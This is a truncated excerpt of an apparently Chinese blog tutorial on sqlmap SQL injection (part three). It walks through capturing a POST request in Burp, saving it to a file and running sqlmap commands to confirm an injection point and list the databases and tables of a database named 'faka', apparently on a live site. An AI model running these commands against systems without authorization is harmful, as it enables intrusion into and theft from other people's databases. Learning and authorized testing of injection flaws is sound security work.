sqlmap注入實戰（三）

一、尋找網站注入點 得到網站 通過burp，抓包，尋找post注入點 複製到sqlmap的根目錄中，創建一個txt文件 輸入命令sqlmap.py -r +文件名 由此可知，此爲注入點 二、暴庫 輸入命令sqlmap.py -r +文件名 -dbs 輸入命令sqlmap.py -r a.txt -D faka --tables獲取表 輸入命令sqlmap.py -r a.txt -D faka -

>>阅读原文<<